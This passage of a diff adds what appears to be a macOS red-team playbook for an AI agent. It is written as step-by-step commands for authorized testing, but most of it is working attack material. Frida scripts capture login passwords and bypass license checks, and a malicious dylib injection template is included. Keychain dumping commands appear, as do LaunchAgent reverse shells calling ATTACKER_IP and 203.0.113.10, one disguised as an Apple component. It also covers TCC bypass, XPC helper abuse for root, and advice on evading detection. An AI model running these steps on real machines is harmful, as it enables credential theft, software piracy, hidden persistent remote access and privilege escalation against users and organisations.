+ frida -n TargetApp -l bypass_auth.js
265
+
266
+ # Step 25: Dump all arguments passed to a method
267
+ cat > dump_args.js << 'EOF'
268
+ var LoginController = ObjC.classes.LoginController;
269
+ Interceptor.attach(LoginController["- loginWithUsername:password:"].implementation, {
270
+ onEnter: function(args) {
271
+ // args[0] = self, args[1] = selector, args[2] = username, args[3] = password
272
+ var username = ObjC.Object(args[2]).toString();
273
+ var password = ObjC.Object(args[3]).toString();
274
+ console.log("[*] Username: " + username);
275
+ console.log("[*] Password: " + password);
276
+ }
277
+ });
278
+ EOF
279
+ frida -n TargetApp -l dump_args.js
280
+
281
+ # Step 26: Use objection for streamlined analysis
282
+ objection -g TargetApp explore
283
+ # Inside objection:
284
+ # ios sslpinning disable (works on macOS too for network pinning)
285
+ # objc classes (list all classes)
286
+ # objc watch class AuthManager (watch all methods on class)
287
+ # memory dump all /tmp/memdump (dump process memory)
288
+ ```
289
+
290
+ ### Phase 5: Code Signing Bypass and Binary Patching
291
+
292
+ ```bash
293
+ # Step 27: Remove code signature from binary
294
+ codesign --remove-signature /Applications/TargetApp.app/Contents/MacOS/TargetApp
295
+
296
+ # Step 28: Patch binary (e.g., nop out a license check jump)
297
+ # First, find the offset of the instruction in radare2
298
+ # Then use dd or a hex editor to patch
299
+ # Example: patch a conditional jump (je = 0x74) to nop (0x90)
300
+ printf '\x90\x90' | dd of=target_x86_64 bs=1 seek=0x1234 conv=notrunc
301
+
302
+ # Step 29: Re-sign with ad-hoc signature (no identity required)
303
+ codesign --force --sign - /Applications/TargetApp.app/Contents/MacOS/TargetApp
304
+
305
+ # Step 30: Re-sign the entire bundle
306
+ codesign --force --deep --sign - /Applications/TargetApp.app
307
+
308
+ # Step 31: Bypass Gatekeeper for testing (requires admin)
309
+ sudo spctl --master-disable
310
+ # Re-enable after testing
311
+ sudo spctl --master-enable
312
+
313
+ # Step 32: Allow specific app through Gatekeeper
314
+ sudo xattr -rd com.apple.quarantine /Applications/TargetApp.app
315
+ ```
316
+
317
+ ### Phase 6: DYLD Library Injection
318
+
319
+ ```bash
320
+ # Step 33: Check current RPATH and linked libraries
321
+ otool -L /Applications/TargetApp.app/Contents/MacOS/TargetApp
322
+ otool -l /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -A3 "LC_RPATH"
323
+
324
+ # Step 34: Identify weak-linked libraries (candidates for hijacking)
325
+ otool -l /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -B2 "LC_LOAD_WEAK_DYLIB" -A3
326
+
327
+ # Step 35: Create a malicious dylib
328
+ cat > evil.m << 'EOF'
329
+ #include <stdio.h>
330
+ #include <syslog.h>
331
+
332
+ __attribute__((constructor))
333
+ static void customConstructor(int argc, const char **argv) {
334
+ printf("[*] DYLD injected — running as: %s\n", getenv("USER"));
335
+ syslog(LOG_ERR, "DYLD injection successful from evil.dylib");
336
+ // Add reverse shell or credential dump code here
337
+ }
338
+ EOF
339
+
340
+ # Compile for x86_64
341
+ clang -dynamiclib -arch x86_64 -o evil.dylib evil.m
342
+
343
+ # Compile for arm64
344
+ clang -dynamiclib -arch arm64 -o evil_arm64.dylib evil.m
345
+
346
+ # Compile universal
347
+ clang -dynamiclib -arch x86_64 -arch arm64 -o evil_universal.dylib evil.m
348
+
349
+ # Step 36: Inject using insert_dylib (modifies the binary)
350
+ # Build insert_dylib first (requires Xcode)
351
+ ./insert_dylib --strip-codesig --inplace /path/to/evil.dylib /Applications/TargetApp.app/Contents/MacOS/TargetApp
352
+
353
+ # Step 37: Inject via DYLD_INSERT_LIBRARIES environment variable
354
+ # Note: Does NOT work against hardened runtime or SIP-protected binaries
355
+ DYLD_INSERT_LIBRARIES=/path/to/evil.dylib /Applications/TargetApp.app/Contents/MacOS/TargetApp
356
+
357
+ # Step 38: Use optool for more reliable binary modification
358
+ ./optool insert -p /absolute/path/to/evil.dylib -t /Applications/TargetApp.app/Contents/MacOS/TargetApp
359
+
360
+ # Step 39: Re-sign after modification
361
+ codesign --force --deep --sign - /Applications/TargetApp.app
362
+ ```
363
+
364
+ ### Phase 7: Keychain Extraction
365
+
366
+ ```bash
367
+ # Step 40: List Keychain items using security CLI
368
+ security list-keychains
369
+ security dump-keychain
370
+ security dump-keychain -d login.keychain-db # Prompts user, shows passwords
371
+
372
+ # Step 41: Find specific credentials
373
+ security find-internet-password -s "api.targetapp.com" -w
374
+ security find-generic-password -a "TargetApp" -w
375
+
376
+ # Step 42: List all items without passwords (no prompt)
377
+ security dump-keychain ~/Library/Keychains/login.keychain-db
378
+
379
+ # Step 43: Use chainbreaker for offline Keychain analysis (forensics)
380
+ # Requires access to the keychain file and password (or unlocked keychain)
381
+ python3 chainbreaker/chainbreaker.py --password "userpassword" ~/Library/Keychains/login.keychain-db
382
+
383
+ # Step 44: Dump all generic passwords via Frida (bypasses keychain prompt)
384
+ cat > dump_keychain.js << 'EOF'
385
+ // Hook SecItemCopyMatching to capture Keychain lookups
386
+ var SecItemCopyMatching = Module.findExportByName("Security", "SecItemCopyMatching");
387
+ Interceptor.attach(SecItemCopyMatching, {
388
+ onLeave: function(retval) {
389
+ // Enumerate results — log credential data
390
+ console.log("[*] SecItemCopyMatching called, retval: " + retval);
391
+ }
392
+ });
393
+ EOF
394
+ frida -n TargetApp -l dump_keychain.js
395
+
396
+ # Step 45: Search for Keychain database files
397
+ find ~/Library/Keychains/ -name "*.keychain-db" -o -name "*.keychain"
398
+ find /Library/Keychains/ -name "*.keychain-db" 2>/dev/null
399
+ ```
400
+
401
+ ### Phase 8: Persistence via LaunchAgent / LaunchDaemon
402
+
403
+ ```bash
404
+ # Step 46: List existing LaunchAgents (user-level persistence)
405
+ ls -la ~/Library/LaunchAgents/
406
+ ls -la /Library/LaunchAgents/
407
+ ls -la /System/Library/LaunchAgents/
408
+
409
+ # Step 47: List LaunchDaemons (system-level, root persistence)
410
+ ls -la /Library/LaunchDaemons/
411
+ ls -la /System/Library/LaunchDaemons/
412
+
413
+ # Step 48: Create a malicious LaunchAgent plist (user-level, no admin needed)
414
+ cat > ~/Library/LaunchAgents/com.operator.persist.plist << 'EOF'
415
+ <?xml version="1.0" encoding="UTF-8"?>
416
+ <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
417
+ <plist version="1.0">
418
+ <dict>
419
+ <key>Label</key>
420
+ <string>com.operator.persist</string>
421
+ <key>ProgramArguments</key>
422
+ <array>
423
+ <string>/bin/bash</string>
424
+ <string>-c</string>
425
+ <string>bash -i &gt;&amp; /dev/tcp/ATTACKER_IP/4444 0&gt;&amp;1</string>
426
+ </array>
427
+ <key>RunAtLoad</key>
428
+ <true/>
429
+ <key>KeepAlive</key>
430
+ <true/>
431
+ <key>StartInterval</key>
432
+ <integer>300</integer>
433
+ </dict>
434
+ </plist>
435
+ EOF
436
+
437
+ # Step 49: Load the LaunchAgent immediately
438
+ launchctl load ~/Library/LaunchAgents/com.operator.persist.plist
439
+ launchctl start com.operator.persist
440
+
441
+ # Step 50: Verify the agent is loaded
442
+ launchctl list | grep "com.operator"
443
+
444
+ # Step 51: Create a more stealthy LaunchAgent (disguised as system component)
445
+ # Use a name that blends in: com.apple.softwareupdateagent, com.apple.mdmclient
446
+ # This is high-risk OPSEC — use only if approved by ROE
447
+
448
+ # Step 52: Install LaunchDaemon (requires root)
449
+ sudo cp /path/to/daemon.plist /Library/LaunchDaemons/com.operator.daemon.plist
450
+ sudo chown root:wheel /Library/LaunchDaemons/com.operator.daemon.plist
451
+ sudo chmod 644 /Library/LaunchDaemons/com.operator.daemon.plist
452
+ sudo launchctl load /Library/LaunchDaemons/com.operator.daemon.plist
453
+ ```
454
+
455
+ ### Phase 9: TCC (Transparency Consent Control) Bypass Concepts
456
+
457
+ ```bash
458
+ # Step 53: Understand TCC — it controls access to:
459
+ # Camera, Microphone, Contacts, Calendar, Photos, Location, Screen Recording
460
+ # Full Disk Access (FDA), Accessibility, Input Monitoring
461
+
462
+ # Step 54: Check current TCC database (FDA required to read)
463
+ # User TCC database
464
+ sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
465
+ "SELECT service, client, auth_value FROM access;"
466
+
467
+ # System TCC database (requires root + SIP disabled to modify)
468
+ sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db \
469
+ "SELECT service, client, auth_value FROM access;"
470
+
471
+ # Step 55: Check what entitlements allow TCC bypass
472
+ # Apps with com.apple.private.tcc.allow entitlement bypass TCC
473
+ codesign -d --entitlements :- /Applications/TargetApp.app | grep tcc
474
+
475
+ # Step 56: TCC bypass via inherited permissions
476
+ # If an app has FDA (e.g., Terminal, Finder), a child process inherits access
477
+ # Trick an FDA-holding app into executing your payload
478
+ osascript -e 'tell application "Finder" to do shell script "/path/to/payload"'
479
+
480
+ # Step 57: Enumerate apps with TCC permissions
481
+ sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
482
+ "SELECT service, client, auth_value FROM access WHERE auth_value=2;" 2>/dev/null
483
+
484
+ # Step 58: Check SIP status (affects TCC database modification)
485
+ csrutil status
486
+ # If disabled: csrutil disable (requires Recovery Mode)
487
+ ```
488
+
489
+ ### Phase 10: macOS Privilege Escalation
490
+
491
+ ```bash
492
+ # Step 59: Enumerate SUID/SGID binaries
493
+ find / -perm -4000 -type f 2>/dev/null
494
+ find / -perm -2000 -type f 2>/dev/null
495
+
496
+ # Step 60: Check sudo configuration
497
+ sudo -l
498
+ # Look for NOPASSWD entries and unusual allowed commands
499
+ cat /etc/sudoers 2>/dev/null
500
+
501
+ # Step 61: Enumerate privileged helper tools installed by apps
502
+ ls -la /Library/PrivilegedHelperTools/
503
+ # These run as root and are often vulnerable to XPC message abuse
504
+
505
+ # Step 62: Inspect XPC service entitlements
506
+ codesign -d --entitlements :- /Library/PrivilegedHelperTools/com.targetapp.helper
507
+
508
+ # Step 63: Test XPC service for missing caller validation
509
+ # Use xpcspy to intercept XPC messages
510
+ # https://github.com/hot3eed/xpcspy
511
+ pip3 install xpcspy
512
+ frida -n TargetApp -l xpcspy.js
513
+
514
+ # Step 64: Check world-writable directories in PATH
515
+ echo $PATH | tr ':' '\n' | xargs -I{} ls -la {} 2>/dev/null | grep "rwxrwxrwx\|777"
516
+
517
+ # Step 65: Check for writable .dylib or framework paths
518
+ otool -L /Applications/TargetApp.app/Contents/MacOS/TargetApp | awk '{print $1}' | while read lib; do
519
+ if [ -w "$lib" ] 2>/dev/null; then
520
+ echo "[WRITABLE] $lib"
521
+ fi
522
+ done
523
+
524
+ # Step 66: Enumerate cron jobs and periodic scripts
525
+ crontab -l
526
+ ls -la /etc/periodic/
527
+ ls -la /var/at/tabs/ 2>/dev/null
528
+ ls -la /usr/lib/cron/tabs/ 2>/dev/null
529
+
530
+ # Step 67: Check for weak file permissions on app components
531
+ find /Applications/TargetApp.app -perm -o+w -type f 2>/dev/null
532
+
533
+ # Step 68: Enumerate installed packages for post-install scripts
534
+ pkgutil --pkgs | grep -i target
535
+ pkgutil --pkg-info com.targetapp.pkg
536
+ # Check if installer left writable scripts
537
+ ```
538
+
539
+ ---
540
+
541
+ ## 5. Real Attack Scenarios
542
+
543
+ ### Scenario A: Credential Extraction from a macOS Enterprise Client App
544
+
545
+ **Target:** A corporate VPN or HR client application installed on employee MacBooks.
546
+
547
+ **Objective:** Extract stored credentials and API keys.
548
+
549
+ ```bash
550
+ # Step 1: Identify app bundle
551
+ ls /Applications/ | grep -i "VPNClient\|HRApp"
552
+ file /Applications/VPNClient.app/Contents/MacOS/VPNClient
553
+ # Output: Mach-O 64-bit executable arm64
554
+
555
+ # Step 2: Dump Objective-C classes looking for credential storage
556
+ class-dump /Applications/VPNClient.app/Contents/MacOS/VPNClient | grep -i "keychain\|password\|cred\|token"
557
+ # Found: VPNCredentialManager class with methods storePassword:forUser: and retrievePassword
558
+
559
+ # Step 3: Search embedded plists for hardcoded server config
560
+ find /Applications/VPNClient.app -name "*.plist" -exec plutil -p {} \; | grep -i "server\|host\|url\|key"
561
+ # Found: serverURL = "https://vpn.corp.example.com", apiKey = "sk-live-XXXXXX" in Settings.plist
562
+
563
+ # Step 4: Attach Frida to extract runtime credentials
564
+ frida -n VPNClient -l dump_keychain_realtime.js
565
+ # Script hooks SecKeychainItemCopyContent and logs all retrieved passwords
566
+ # Output: [*] Keychain retrieved: user=john.doe@corp.com, pass=Summer2024!
567
+
568
+ # Step 5: Validate extracted credentials
569
+ curl -H "Authorization: Bearer sk-live-XXXXXX" https://vpn.corp.example.com/api/users
570
+
571
+ # Evidence: Screenshot of Frida output, plist contents, curl response
572
+ ```
573
+
574
+ **Impact:** Full VPN access with employee credentials, potential network lateral movement.
575
+
576
+ ---
577
+
578
+ ### Scenario B: Code Signing Bypass and DYLD Injection for Privilege Escalation
579
+
580
+ **Target:** A licensed macOS productivity app that runs a privileged helper for file operations.
581
+
582
+ **Objective:** Bypass license check, inject malicious dylib, abuse privileged helper.
583
+
584
+ ```bash
585
+ # Step 1: Analyze the license check
586
+ class-dump /Applications/ProductApp.app/Contents/MacOS/ProductApp | grep -i "license\|trial\|expire\|valid"
587
+ # Found: LicenseValidator class with method: - (BOOL)isLicenseActivated
588
+
589
+ # Step 2: Confirm method logic in Ghidra — returns 0 when no license file found
590
+
591
+ # Step 3: Remove code signature
592
+ codesign --remove-signature /Applications/ProductApp.app/Contents/MacOS/ProductApp
593
+
594
+ # Step 4: Write Frida bypass script
595
+ cat > bypass_license.js << 'EOF'
596
+ var LicenseValidator = ObjC.classes.LicenseValidator;
597
+ Interceptor.attach(LicenseValidator["- isLicenseActivated"].implementation, {
598
+ onLeave: function(retval) {
599
+ console.log("[*] License check bypassed");
600
+ retval.replace(1);
601
+ }
602
+ });
603
+ EOF
604
+ frida -n ProductApp -l bypass_license.js
605
+ # App is now fully functional
606
+
607
+ # Step 5: Identify the privileged helper
608
+ ls /Library/PrivilegedHelperTools/ | grep product
609
+ # Found: com.productapp.helper
610
+
611
+ # Step 6: Inspect XPC interface
612
+ class-dump /Library/PrivilegedHelperTools/com.productapp.helper
613
+ # Found: - (void)installFileWithSource:(NSString *)src destination:(NSString *)dst reply:(void (^)(NSError *))reply
614
+ # No caller validation — any process can call this
615
+
616
+ # Step 7: Write XPC client to abuse the helper
617
+ # Use Swift or Objective-C to call the XPC service with root file write
618
+ # Copy a malicious sudoers file or suid shell
619
+ # install a reverse shell binary to /usr/local/bin/
620
+
621
+ # Step 8: Establish persistence
622
+ cp /path/to/reverse_shell /usr/local/bin/rsh
623
+ # Call helper XPC to make it suid root:
624
+ # installFileWithSource:"/tmp/suid_shell" destination:"/usr/local/bin/rsh"
625
+
626
+ # Evidence: Frida console output, XPC call log, proof of root execution
627
+ ```
628
+
629
+ **Impact:** Full root access on the target machine via privileged helper abuse.
630
+
631
+ ---
632
+
633
+ ### Scenario C: LaunchAgent Persistence After Initial Access via Phishing
634
+
635
+ **Target:** A macOS user who executed a malicious document macro.
636
+
637
+ **Objective:** Establish persistent access surviving reboots without admin rights.
638
+
639
+ ```bash
640
+ # Step 1: Initial access established (user-level shell)
641
+ # Verify access level
642
+ whoami # john.doe (not root)
643
+ id # uid=501(john.doe) gid=20(staff)
644
+
645
+ # Step 2: Enumerate the environment for useful apps with TCC permissions
646
+ sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
647
+ "SELECT service, client FROM access WHERE auth_value=2 AND service='kTCCServiceSystemPolicyAllFiles';" 2>/dev/null
648
+ # Found: Terminal has Full Disk Access
649
+
650
+ # Step 3: Drop the persistence payload
651
+ mkdir -p ~/.config/.hidden_support
652
+ cat > ~/.config/.hidden_support/agent.sh << 'EOF'
653
+ #!/bin/bash
654
+ while true; do
655
+ /bin/bash -i >& /dev/tcp/203.0.113.10/443 0>&1
656
+ sleep 60
657
+ done
658
+ EOF
659
+ chmod +x ~/.config/.hidden_support/agent.sh
660
+
661
+ # Step 4: Install LaunchAgent with innocent-looking name
662
+ cat > ~/Library/LaunchAgents/com.apple.useraccountd.plist << 'EOF'
663
+ <?xml version="1.0" encoding="UTF-8"?>
664
+ <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
665
+ <plist version="1.0">
666
+ <dict>
667
+ <key>Label</key>
668
+ <string>com.apple.useraccountd</string>
669
+ <key>ProgramArguments</key>
670
+ <array>
671
+ <string>/bin/bash</string>
672
+ <string>/Users/john.doe/.config/.hidden_support/agent.sh</string>
673
+ </array>
674
+ <key>RunAtLoad</key>
675
+ <true/>
676
+ <key>KeepAlive</key>
677
+ <true/>
678
+ <key>StandardErrorPath</key>
679
+ <string>/dev/null</string>
680
+ <key>StandardOutPath</key>
681
+ <string>/dev/null</string>
682
+ </dict>
683
+ </plist>
684
+ EOF
685
+
686
+ # Step 5: Load immediately
687
+ launchctl load ~/Library/LaunchAgents/com.apple.useraccountd.plist
688
+
689
+ # Step 6: Verify persistence
690
+ launchctl list | grep "com.apple.useraccountd"
691
+
692
+ # Step 7: Test reboot survival (advise client to reboot test machine)
693
+
694
+ # Evidence: Screenshot of launchctl list output, network connection on reboot
695
+ ```
696
+
697
+ **Impact:** Persistent user-level access, surviving reboots, with callback to operator infrastructure.
698
+
699
+ ---
700
+
701
+ ## 6. OPSEC Considerations
702
+
703
+ ### Detection Risks
704
+
705
+ | Action | Detection Risk | Signal Generated |
706
+ |--------|--------------|-----------------|
707
+ | Frida attachment | HIGH | `taskgated` may log code signing checks; EDR hooks detect Frida server process |
708
+ | `codesign --remove-signature` | MEDIUM | Gatekeeper/XProtect may flag unsigned binary on execution |
709
+ | DYLD_INSERT_LIBRARIES | MEDIUM | Logged by macOS Endpoint Security framework; TCC violations logged |
710
+ | LaunchAgent installation | MEDIUM | KnockKnock, Malwarebytes, and commercial EDRs watch LaunchAgents folder |
711
+ | Keychain `dump-keychain -d` | HIGH | Prompts user with GUI dialog; logged by macOS audit subsystem |
712
+ | TCC database modification | CRITICAL | Requires SIP disabled; logged extensively; triggers SIEM alerts |
713
+ | XPC privilege escalation | HIGH | XPC messages logged; privileged helper validates callers on patched apps |
714
+ | SUID binary abuse | MEDIUM | Execution logged by auditd / Endpoint Security |
715
+ | `sudo -l` enumeration | LOW | May be logged by sudoers configuration depending on SYSLOG setting |
716
+
717
+ ### Mitigation Strategies for Operator
718
+
719
+ - Avoid attaching Frida to processes with EDR hooks — test on isolated VMs first
720
+ - Use ad-hoc code signing (`codesign --sign -`) rather than removing signatures entirely
721
+ - Blend LaunchAgent names with Apple-like labels (`com.apple.*`) only if ROE allows stealth testing
722
+ - Perform Keychain extraction via Frida hooks rather than GUI-triggering `security dump-keychain -d`
723
+ - Disable SIP on test VMs only — never on production targets unless explicitly scoped
724
+ - Minimize dwell time — extract artifacts and clean up LaunchAgents after testing
725
+ - Use `sudo spctl --master-disable` on test machines only — document before/after state
726
+
727
+ ### Log Sources Defenders Monitor
728
+
729
+ - `/var/log/system.log` — general system events
730
+ - `/var/log/authd.log` — authentication events
731
+ - `/var/log/install.log` — package installation events
732
+ - Unified Log: `log stream --predicate 'subsystem == "com.apple.TCC"'`
733
+ - Endpoint Security Framework events (commercial EDR)
734
+ - FSEvents — file system change notifications monitored by Spotlight and security tools
735
+ - LaunchAgent/LaunchDaemon directories are watched by most macOS security tools
736
+
737
+ ---
738
+
739
+ ## 7. Output and Documentation Instructions
740
+
741
+ ### Evidence to Collect
742
+
743
+ For each finding, collect:
744
+
745
+ 1. **Screenshot** of terminal output showing the vulnerability or extracted data
746
+ 2. **Command used** — exact syntax with any sensitive data redacted for the report
747
+ 3. **File paths** of vulnerable components
748
+ 4. **Class/method names** where credentials are exposed or logic flaws exist
749
+ 5. **CVSS score** — use `rt-cvss-calculator` skill for scoring
750
+ 6. **MITRE ATT&CK mapping** — use `rt-mitre-map` skill
751
+
752
+ ### Finding Documentation Template
753
+
754
+ ```
755
+ Title: [Hardcoded API Key in macOS App Bundle / DYLD Injection / Keychain Exposure / etc.]
756
+ Severity: Critical / High / Medium / Low
757
+ CWE: CWE-798 (Hardcoded Credentials) / CWE-427 (Uncontrolled Search Path)
758
+
759
+ Affected Component:
760
+ App: /Applications/TargetApp.app
761
+ Binary: /Applications/TargetApp.app/Contents/MacOS/TargetApp
762
+ Class: [Objective-C class name if applicable]
763
+
764
+ Steps to Reproduce:
765
+ 1. [Command]
766
+ 2. [Command]
767
+ 3. [Result / extracted data]
768
+
769
+ Evidence:
770
+ - Screenshot: findings/macos-01-keychain-dump.png
771
+ - Raw output: findings/macos-01-frida-output.txt
772
+
773
+ Impact:
774
+ [Describe what an attacker can do with this finding]
775
+
776
+ Recommendation:
777
+ [Specific remediation steps for the development team]
778
+ ```
779
+
780
+ ### Output File Naming Convention
781
+
782
+ ```
783
+ findings/
784
+ macos-01-static-analysis-strings.txt
785
+ macos-02-class-dump-output.txt
786
+ macos-03-frida-credential-extraction.txt
787
+ macos-04-dyld-injection-proof.png
788
+ macos-05-keychain-items.txt
789
+ macos-06-launchagent-persistence.txt
790
+ macos-07-tcc-database-dump.txt
791
+ macos-08-privesc-chain.txt
792
+ ```
793
+
794
+ ---
795
+
796
+ ## 8. Resources and References
797
+
798
+ ### Official Documentation
799
+ - Apple Security Overview: https://support.apple.com/guide/security/welcome/web
800
+ - macOS Code Signing: https://developer.apple.com/documentation/security/code_signing_services
801
+ - TCC Framework Reference: https://developer.apple.com/documentation/bundleresources/privacy_manifest_files
802
+ - Hardened Runtime: https://developer.apple.com/documentation/security/hardened_runtime
803
+
804
+ ### Tools (GitHub)
805
+ - class-dump: https://github.com/nygard/class-dump
806
+ - Frida: https://github.com/frida/frida
807
+ - objection: https://github.com/sensepost/objection
808
+ - chainbreaker (Keychain forensics): https://github.com/n0fate/chainbreaker
809
+ - insert_dylib: https://github.com/Tyilo/insert_dylib
810
+ - optool (Mach-O patching): https://github.com/alexzielenski/optool
811
+ - xpcspy (XPC interception): https://github.com/hot3eed/xpcspy
812
+ - KeychainCracker: https://github.com/macmade/KeychainCracker
813
+ - macOS PrivEsc scripts: https://github.com/NetSPI/MacOSX-PrivEsc
814
+ - macOS Security Guide: https://github.com/drduh/macOS-Security-and-Privacy-Guide
815
+ - KnockKnock (persistence scanner): https://github.com/objective-see/KnockKnock
816
+ - Objective-See tools (defender reference): https://objective-see.org/tools.html
817
+ - macOS ATT&CK Navigator: https://mitre-attack.github.io/attack-navigator/
818
+
819
+ ### Research and Write-ups
820
+ - TCC Bypass Techniques: https://github.com/nicowillis/TCC-bypass-collection
821
+ - macOS Penetration Testing: https://github.com/abulanov/macOS-Pentest-Resources
822
+ - Frida macOS Cookbook: https://learnfrida.info
823
+ - Apple Platform Security Guide (PDF): https://manuals.info.apple.com/MANUALS/1000/MA1902/en_US/apple-platform-security-guide.pdf
824
+
825
+ ### MITRE ATT&CK Techniques (macOS)
826
+ - T1553.001 — Gatekeeper Bypass
827
+ - T1543.001 — Launch Agent
828
+ - T1543.004 — Launch Daemon
829
+ - T1555.001 — Keychain
830
+ - T1574.006 — Dynamic Linker Hijacking (DYLD)
831
+ - T1548.004 — Elevated Execution with Prompt
832
+ - T1134 — Access Token Manipulation
833
+ - T1056.001 — Keylogging
834
+ - T1218 — Signed Binary Proxy Execution